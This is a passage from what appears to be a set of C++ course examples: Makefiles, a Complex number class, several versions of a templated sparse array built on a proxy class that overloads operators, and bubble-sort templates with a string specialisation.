return *this = value;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int n)
{
T& location = Provide();
location >>= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
--location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator->() const
{
T p = *this;
if (!p)
throw NullElement(index);
return p;
}
template <class T>
SparseArray<T>::Interm::operator T() const
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
#endif
02g (10-07)
MakefileMake / 20 lines
MODULES = complex sparse
SRCMODULES = $(wildcard $(MODULES:=.cpp))
HEADERS = $(wildcard $(MODULES:=.hpp))
OBJMODULES = $(SRCMODULES:.cpp=.o)
PROGRAMS = main
CXXFLAGS = -g -Wall -ansi -pedantic -Wno-long-long -fwrapv
all: $(PROGRAMS)
%.o: %.cpp $(HEADERS)
$(CXX) $(CXXFLAGS) -c $< -o $@
$(PROGRAMS): %: %.cpp $(OBJMODULES) $(HEADERS)
$(CXX) $(CXXFLAGS) $(filter-out %.hpp,$^) $(LDLIBS) -o $@
clean:
rm -f *.o $(PROGRAMS)
complex.cppC++ / 20 lines
#include "complex.hpp"
const Complex& Complex::operator*=(const Complex &c)
{
double r = re * c.re - im * c.im;
double i = re * c.im + im * c.re;
re = r;
im = i;
return *this;
}
const Complex& Complex::operator/=(const Complex &c)
{
double dvs = c.re * c.re + c.im * c.im;
double r = (re * c.re + im * c.im) / dvs;
double i = (im * c.re - re * c.im) / dvs;
re = r;
im = i;
return *this;
}
complex.hppC++ / 35 lines
#ifndef COMPLEX_HPP
#define COMPLEX_HPP
#include <math.h>
class Complex {
double re, im;
public:
Complex(double a_re = 0, double a_im = 0) : re(a_re), im(a_im) {}
double GetRe() const { return re; }
double GetIm() const { return im; }
void Set(double a_re, double a_im) { re = a_re; im = a_im; }
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
const Complex &operator+=(const Complex &c)
{ re += c.re; im += c.im; return *this; }
const Complex &operator-=(const Complex &c)
{ re -= c.re; im -= c.im; return *this; }
const Complex &operator*=(const Complex &c);
const Complex &operator/=(const Complex &c);
bool operator==(const Complex &c) const
{ return re == c.re && im == c.im; }
bool operator!=(const Complex &c) const { return !(*this == c); }
};
inline Complex operator+(Complex a, const Complex& b) { return a += b; }
inline Complex operator-(Complex a, const Complex& b) { return a -= b; }
inline Complex operator*(Complex a, const Complex& b) { return a *= b; }
inline Complex operator/(Complex a, const Complex& b) { return a /= b; }
#endif
main.cppC++ / 17 lines
#include <stdio.h>
#include "complex.hpp"
#include "sparse.hpp"
int main()
{
SparseArray<Complex> s(Complex(0, 0));
const SparseArray<Complex>& c = s;
printf("%g%+gi\n", c[1].GetRe(), c[1].GetIm()); /* no == needed */
s[1] = Complex(1, 2); /* needs == */
printf("%g%+gi\n", c[1].GetRe(), c[1].GetIm());
s[1] = Complex(0, 0); /* removes it */
printf("stored: %d\n", s.NonzeroCount());
return 0;
}
sparse.hppC++ / 315 lines
#ifndef SPARSE_HPP
#define SPARSE_HPP
/* thrown by -> when the element holds a null pointer */
class NullElement {
int index;
public:
NullElement(int idx) : index(idx) {}
int Index() const { return index; }
};
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T() const;
T operator=(const T& x);
T operator=(const Interm& x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int n);
T operator>>=(int n);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->() const;
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator=(const Interm& x)
{
T value = x;
return *this = value;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int n)
{
T& location = Provide();
location >>= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
--location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator->() const
{
T p = *this;
if (!p)
throw NullElement(index);
return p;
}
template <class T>
SparseArray<T>::Interm::operator T() const
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
#endif
02h (10-07)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
sparse00.cppC++ / 281 lines
#include <stdio.h>
class SparseArrayInt {
struct Item {
int index;
int value;
Item *next;
};
Item *first;
public:
SparseArrayInt() : first(0) {}
~SparseArrayInt();
class Interm {
friend class SparseArrayInt;
SparseArrayInt *master;
int index;
Interm(SparseArrayInt *a_master, int ind)
: master(a_master), index(ind) {}
int& Provide();
void Remove();
public:
operator int();
int operator=(int x);
int operator+=(int x);
int operator-=(int x);
int operator*=(int x);
int operator/=(int x);
int operator%=(int x);
int operator<<=(int x);
int operator>>=(int x);
int operator|=(int x);
int operator&=(int x);
int operator^=(int x);
int operator++();
int operator++(int);
int operator--();
int operator--(int);
};
Interm operator[](int idx) { return Interm(this, idx); };
int operator[](int idx) const;
private:
SparseArrayInt(const SparseArrayInt&) {}
void operator=(const SparseArrayInt&) {}
};
SparseArrayInt::~SparseArrayInt()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
int SparseArrayInt::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return 0;
}
int SparseArrayInt::Interm::operator=(int x)
{
if (x == 0)
Remove();
else
Provide() = x;
return x;
}
int SparseArrayInt::Interm::operator+=(int x)
{
int& location = Provide();
location += x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator-=(int x)
{
int& location = Provide();
location -= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator*=(int x)
{
int& location = Provide();
location *= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator/=(int x)
{
int& location = Provide();
location /= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator%=(int x)
{
int& location = Provide();
location %= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator<<=(int x)
{
int& location = Provide();
location <<= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator>>=(int x)
{
int& location = Provide();
location >>= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator|=(int x)
{
int& location = Provide();
location |= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator&=(int x)
{
int& location = Provide();
location &= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator^=(int x)
{
int& location = Provide();
location ^= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++()
{
int& location = Provide();
location++;
int res = location;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++(int)
{
int& location = Provide();
int res = location;
location++;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator--()
{
int& location = Provide();
location--;
int res = location;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator--(int)
{
int& location = Provide();
int res = location;
location--;
if (location == 0)
Remove();
return res;
}
SparseArrayInt::Interm::operator int()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return 0;
}
int& SparseArrayInt::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = 0;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
void SparseArrayInt::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
int main()
{
SparseArrayInt arr;
int x;
x = arr[500];
printf("Initial arr[500]: %d\n", x);
arr[300] = 50;
printf("After arr[300] = 50: %d\n", int(arr[300]));
arr[200] = 0;
printf("After arr[200] = 0: %d\n", int(arr[200]));
arr[15] += 100;
printf("After arr[15] += 100: %d\n", int(arr[15]));
x = arr[200]++;
printf("After arr[200]++: returned %d, stored %d\n",
x, int(arr[200]));
arr[300] = 0;
printf("After removing arr[300]: %d\n", int(arr[300]));
arr[15] += -100;
printf("After arr[15] += -100: %d\n", int(arr[15]));
return 0;
}
sparse01.cppC++ / 311 lines
#include <stdio.h>
template<class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T();
T operator=(const T &x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int x);
T operator>>=(int x);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->();
};
Interm operator[](int idx) { return Interm(this, idx); };
const T& operator[](int idx) const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template<class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template<class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
T SparseArray<T>::Interm::operator=(const T& x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int x)
{
T& location = Provide();
location <<= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int x)
{
T& location = Provide();
location >>= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
location++;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
location--;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template<class T>
SparseArray<T>::Interm::operator T()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
template<class T>
T SparseArray<T>::Interm::operator->()
{
return *this;
}
template<class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template <class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
int main()
{
SparseArray<int> arr(0);
int x;
x = arr[500];
printf("Initial arr[500]: %d\n", x);
arr[300] = 50;
printf("After arr[300] = 50: %d\n", int(arr[300]));
arr[200] = 0;
printf("After arr[200] = 0: %d\n", int(arr[200]));
arr[15] += 100;
printf("After arr[15] += 100: %d\n", int(arr[15]));
x = arr[200]++;
printf("After arr[200]++: returned %d, stored %d\n",
x, int(arr[200]));
arr[300] = 0;
printf("After removing arr[300]: %d\n", int(arr[300]));
arr[15] += -100;
printf("After arr[15] += -100: %d\n", int(arr[15]));
return 0;
}
sparse02.cppC++ / 299 lines
#include <stdio.h>
template<class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T();
T operator=(const T &x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int x);
T operator>>=(int x);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->();
};
Interm operator[](int idx) { return Interm(this, idx); };
const T& operator[](int idx) const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template<class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template<class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
T SparseArray<T>::Interm::operator=(const T& x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int x)
{
T& location = Provide();
location <<= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int x)
{
T& location = Provide();
location >>= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
location++;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
location--;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template<class T>
SparseArray<T>::Interm::operator T()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
template<class T>
T SparseArray<T>::Interm::operator->()
{
return *this;
}
template<class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template <class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
struct s1 {
int a;
int b;
};
int main()
{
s1 x = { 0, 0 };
SparseArray<s1*> arr(0);
arr[0] = &x;
arr[0]->a = 1;
arr[0]->b = 2;
s1 *p = arr[0].operator->();
printf("%d %d\n", arr[0]->a, arr[0]->b);
return 0;
}
03 (10-07)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
bubble_sort00.cppC++ / 35 lines
#include <stdio.h>
template <class T>
inline void swap(T &x, T &y)
{
T tmp = x;
x = y;
y = tmp;
}
template <class T>
void sort(T *array, int len)
{
for (int start = 0; ; start++) {
bool done = true;
for (int i = len - 2; i >= start; i--)
if (array[i+1] < array[i]) {
swap(array[i], array[i+1]);
done = false;
}
if (done)
break;
}
}
int main()
{
int a[] = { 5, 2, 8, 1 };
double d[] = { 2.5, -1.0, 0.5 };
sort(a, 4);
sort(d, 3);
printf("%d %d %d %d\n", a[0], a[1], a[2], a[3]);
printf("%g %g %g\n", d[0], d[1], d[2]);
return 0;
}
bubble_sort01.cppC++ / 66 lines
#include <stdio.h>
#include <string.h>
template <class T>
inline void swap(T &x, T &y)
{
T tmp = x;
x = y;
y = tmp;
}
template <class T>
bool sort_less(T a, T b)
{
return a < b;
}
template <>
bool sort_less<const char *>(const char *a, const char *b)
{
return strcmp(a, b) < 0;
}
template <class T>
void sort(T *array, int len)
{
for (int start = 0; ; start++) {
bool done = true;
for (int i = len - 2; i >= start; i--)
if (sort_less(array[i+1], array[i])) {
swap(array[i], array[i+1]);
done = false;
}
if (done)
break;
}
}
int main()
{
int a[] = { 5, 2, 8, 1 };
int len_a = sizeof(a) / sizeof(*a);
double d[] = { 2.5, -1.0, 0.5 };
int len_d = sizeof(d) / sizeof(*d);
const char *s[] = {"hello", "there", "how", "are", "you"};
int len_s = sizeof(s) / sizeof(*s);
sort(a, len_a);
sort(d, len_d);
sort(s, len_s);
int i;
for (i = 0; i < len_a; i++)
printf("%d ", a[i]);
printf("\n");
for (i = 0; i < len_d; i++)
printf("%g ", d[i]);
printf("\n");
for (i = 0; i < len_s; i++)
printf("%s ", s[i]);
printf("\n");
return 0;
}
03b (10-07)
MakefileMake / 20 lines
MODULES = sparse
SRCMODULES = $(wildcard $(MODULES:=.cpp))
HEADERS = $(wildcard $(MODULES:=.hpp))
OBJMODULES = $(SRCMODULES:.cpp=.o)
PROGRAMS = main
CXXFLAGS = -g -Wall -ansi -pedantic -Wno-long-long -fwrapv
all: $(PROGRAMS)
%.o: %.cpp $(HEADERS)
$(CXX) $(CXXFLAGS) -c $< -o $@
$(PROGRAMS): %: %.cpp $(OBJMODULES) $(HEADERS)
$(CXX) $(CXXFLAGS) $(filter-out %.hpp,$^) $(LDLIBS) -o $@
clean:
rm -f *.o $(PROGRAMS)
main.cppC++ / 15 lines
#include <stdio.h>
#include "sparse.hpp"
int main()
{
SparseArray<bool> b;
b[0] = 3;
b[1] = 25;
printf("%d\n", (int) b[1]);
return 0;
}
sparse.hppC++ / 403 lines
#ifndef SPARSE_HPP
#define SPARSE_HPP
class NullElement {
int index;
public:
NullElement(int idx) : index(idx) {}
int Index() const { return index; }
};
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T() const;
T operator=(const T& x);
T operator=(const Interm& x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int n);
T operator>>=(int n);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->() const;
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator=(const Interm& x)
{
T value = x;
return *this = value;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int n)
{
T& location = Provide();
location >>= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
